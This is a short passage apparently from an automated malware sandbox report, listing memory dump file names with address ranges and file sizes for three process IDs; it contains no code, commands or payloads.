memory/4224-73-0x0000000007470000-0x000000000747A000-memory.dmpFilesize
40KB
-
memory/4224-75-0x00000000076A0000-0x0000000007736000-memory.dmpFilesize
600KB
-
memory/4224-83-0x0000000004ED0000-0x0000000004EE0000-memory.dmpFilesize
64KB
-
memory/4224-81-0x0000000075160000-0x0000000075910000-memory.dmpFilesize
7.7MB
-
memory/4224-80-0x0000000004ED0000-0x0000000004EE0000-memory.dmpFilesize
64KB
-
memory/4760-106-0x00000000048B0000-0x00000000048C0000-memory.dmpFilesize
64KB
-
memory/4760-116-0x0000000075160000-0x0000000075910000-memory.dmpFilesize
7.7MB
-
memory/4760-104-0x0000000070F80000-0x0000000070FCC000-memory.dmpFilesize
304KB
-
memory/4760-103-0x000000007FD40000-0x000000007FD50000-memory.dmpFilesize
64KB
-
memory/4760-91-0x00000000048B0000-0x00000000048C0000-memory.dmpFilesize
64KB
-
memory/4760-90-0x0000000075160000-0x0000000075910000-memory.dmpFilesize
7.7MB
-
memory/4996-142-0x0000000075160000-0x0000000075910000-memory.dmpFilesize
7.7MB
-
memory/4996-140-0x00000000051A0000-0x00000000051B0000-memory.dmpFilesize
64KB
-
memory/4996-130-0x0000000070F80000-0x0000000070FCC000-memory.dmpFilesize
304KB
-
memory/4996-119-0x00000000051A0000-0x00000000051B0000-memory.dmpFilesize
64KB
-
memory/4996-118-0x00000000051A0000-0x00000000051B0000-memory.dmpFilesize
64KB
-
memory/4996-117-0x0000000075160000-0x0000000075910000-memory.dmpFilesize
7.7MB